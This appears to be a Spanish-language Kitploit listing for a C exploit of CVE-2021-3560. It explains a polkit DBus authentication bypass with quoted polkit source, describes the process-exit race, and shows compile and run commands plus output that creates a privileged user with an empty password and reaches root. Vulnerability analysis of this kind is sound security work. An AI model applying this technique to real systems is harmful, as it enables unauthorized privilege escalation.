Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-3560 — Exploit en C para CVE-2021-3560, una evasión de autenticación en polkit que permite a usuarios sin privilegios crear una cuenta privilegiada mediante DBus, con un análisis técnico detallado. | Kitploit
Herramientas/GitHubGitHub/hakivvi/cve-2021-3560
Autenticación y AutorizaciónEscalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónRed Teaming
GitHubhakivvi/cve-2021-3560

CVE-2021-3560

Exploit en C para CVE-2021-3560, una evasión de autenticación en polkit que permite a usuarios sin privilegios crear una cuenta privilegiada mediante DBus, con un análisis técnico detallado.

Ver Repositorio
40123hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-3560

un exploit confiable basado en C para CVE-2021-3560.

Resumen:

Ayer me topé con este artículo de blog de Kevin Backhouse (descubridor de esta vulnerabilidad), probé los comandos bash proporcionados en el artículo y para mi sorpresa funcionaron en mi máquina Kali Linux!

CVE-2021-3560 es una omisión de autenticación en polkit, que permite a un usuario no privilegiado llamar a métodos privilegiados usando DBus. El PoC explota este bug para llamar a 2 métodos privilegiados proporcionados por accountsservice (CreateUser y SetPassword), lo que nos permite crear un usuario privilegiado y luego establecerle una contraseña.

polkit verifica si el llamante está autorizado para llamar a dicho método. Lo hace comprobando primero el id de usuario del llamante; si es cero, se asume que el llamante es root y la acción se permite sin solicitar autenticación; de lo contrario, solicita la contraseña del usuario.

La función polkit_system_bus_name_get_creds_sync() invoca a 2 métodos para obtener el UID y PID del llamante GetConnectionUnixUser y GetConnectionUnixProcessID. El resultado de estas llamadas se escribe en la estructura data de tipo AsyncGetBusNameCredsData (esta estructura se inicializa a 0) por la función de callback on_retrieved_unix_uid_pid(), y polkit_system_bus_name_get_creds_sync() se bloquea mientras espera a que la función de callback establezca un error o el UID y PID.

root@kitploit:~
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; // intialize to 0
  GDBusConnection *connection = NULL;
  GMainContext *tmp_context = NULL;

  connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error);
  if (connection == NULL)
    goto out;

  data.error = error;

  tmp_context = g_main_context_new ();
  g_main_context_push_thread_default (tmp_context);

  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixUser",      /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // callback funtion
			  &data); // data is passed to the callback function along with the reply from the method
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixProcessID", /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // callback funtion
			  &data); // data is passed to the callback function along with the reply from the method

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // block while on_retrieved_unix_uid_pid() is not called yet
    g_main_context_iteration (tmp_context, TRUE);

la función de callback on_retrieved_unix_uid_pid() se invoca después de cada llamada al método para recuperar la respuesta (UID y PID) o establecer un error. Esta función llama a g_dbus_connection_call_finish() para recuperar la respuesta; si ocurre un error, entonces establece data.caught_error a TRUE y retorna (data.uid y data.pid siguen siendo 0). De lo contrario, asigna el valor recuperado (UID o PID) a data.uid o data.pid (dependiendo del valor recuperado) y luego retorna.

root@kitploit:~
static void
on_retrieved_unix_uid_pid (GObject              *src, // connection
			   GAsyncResult         *res, // Async result object
			   gpointer              user_data) // data paramter passed from previous function
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error); // finish and get the reply
  if (!v) // error ??
    {
      data->caught_error = TRUE;
    }
  else
    {
      guint32 value;
      g_variant_get (v, "(u)", &value); // unpack the reply, get UINT32 (u)
      g_variant_unref (v);
      if (!data->retrieved_uid) // GetConnectionUnixUser method
	{
	  data->retrieved_uid = TRUE;
	  data->uid = value;
	}
      else
	{
	  g_assert (!data->retrieved_pid); // GetConnectionUnixProcessID method
	  data->retrieved_pid = TRUE;
	  data->pid = value;
	}
    }
}

Los métodos GetConnectionUnixUser y GetConnectionUnixProcessID devolverán el UID y PID si se encuentran (el proceso llamante sigue conectado al bus), o un error si ocurrió un error (por ejemplo: el proceso llamante fue eliminado).

Una vez que data.uid y data.pid están establecidos o que data.caught_error está establecido, la función polkit_system_bus_name_get_creds_sync() continuará y aquí es donde existe la vulnerabilidad: polkit_system_bus_name_get_creds_sync() no devuelve un error si data.caught_error está establecido; en su lugar, asigna cualquier valor que esté en data.uid a out_uid y devuelve TRUE (incluso si data.caught_error está establecido). out_pid es un puntero a una variable guint32 pasada a polkit_system_bus_name_get_creds_sync() cuando es llamada por :

root@kitploit:~
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid, // pointer
				       guint32                       *out_pid, // NULL
				       GCancellable                  *cancellable,
				       GError                       **error)
{

  [snip]
  
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // wait for the callback function to handle reply
    g_main_context_iteration (tmp_context, TRUE);

  if (out_uid) // TRUE
    *out_uid = data.uid; // set it even if there is an error [!]
  if (out_pid) // FALSE
    *out_pid = data.pid; // set it even if there is an error [!]
  ret = TRUE; // return TRUE even if there is an error [!]
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;

explotación:

Si un proceso A llama a un método privilegiado usando DBus, entonces polkit comprobará el UID del llamante. Si el proceso A sale inmediatamente después de enviar el mensaje, entonces los métodos GetConnectionUnixUser y GetConnectionUnixProcessID devolverán un error porque el proceso llamante ya no existe. La función de callback on_retrieved_unix_uid_pid() establecerá data.caught_error a TRUE, data.uid y data.pid permanecerán sin cambios (lo que significa que ambos se establecen a 0, ya que la estructura data se inicializa a 0). La función polkit_system_bus_name_get_creds_sync() continuará la ejecución y establecerá out_uid a data.uid (0), y devolverá TRUE.

Un par de funciones seguirán devolviendo el UID falso (0), hasta que polkit_backend_session_monitor_get_user_for_subject() devuelva user_of_subject (construido a partir del UID falso) a la función check_authorization_sync(), la cual comprueba si el UID es root llamando a identity_is_root_user(user_of_subject) que devolverá TRUE y el proceso A será autorizado.

root@kitploit:~
static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority         *authority,
                          PolkitSubject                  *caller,
                          PolkitSubject                  *subject,
                          const gchar                    *action_id,
                          PolkitDetails                  *details,
                          PolkitCheckAuthorizationFlags   flags,
                          PolkitImplicitAuthorization    *out_implicit_authorization,
                          gboolean                        checking_imply,
                          GError                        **error)
{

  
  [snip]

  user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                         subject, NULL,
                                                                         error);
  if (user_of_subject == NULL) // false
      goto out;

  /* special case: uid 0, root, is _always_ authorized for anything */
  if (identity_is_root_user (user_of_subject)) // true
    {
      result = polkit_authorization_result_new (TRUE, FALSE, NULL); // authorize the caller
      goto out;
    }

  [snip]
 

PoC:

Decidí escribir un PoC usando la API de dbus en C. No usé sleep() mientras esperaba que el mensaje se enviara al servicio objetivo; en su lugar, las funciones de DBus proporcionan un parámetro de tiempo de espera. Así que, (ab)usando de este parámetro podemos forzar a la función a retornar justo después de enviar el mensaje, y luego eliminar el proceso. Esto nos permitirá explotar la vulnerabilidad en polkit y eludir la autenticación. Consulte este artículo de blog para los detalles técnicos.

ejecución:

  1. compilar el exploit:
root@kitploit:~
user@host: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
  1. ejecutar el exploit:
root@kitploit:~
user@host: ./exploit
  • Salida:
root@kitploit:~
user@host:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host:~/CVE-2021-3560-testing$ ./exploit
[*] creating "pwned-1624301069" user ...
[!] user has been created!
[*] user: pwned-1624301069, uid: 1007
[*] setting an empty password for "pwned-1624301069" user..
[*] an empty password has been set for "pwned-1624301069" user!
[!] run: "sudo su root" as "pwned-1624301069" user to get root
┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing]
└─$ sudo su root

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

root@host:/home/user/CVE-2021-3560-testing# id
uid=0(root) gid=0(root) groups=0(root)
Descargar herramienta
polkit_system_bus_name_get_user_sync()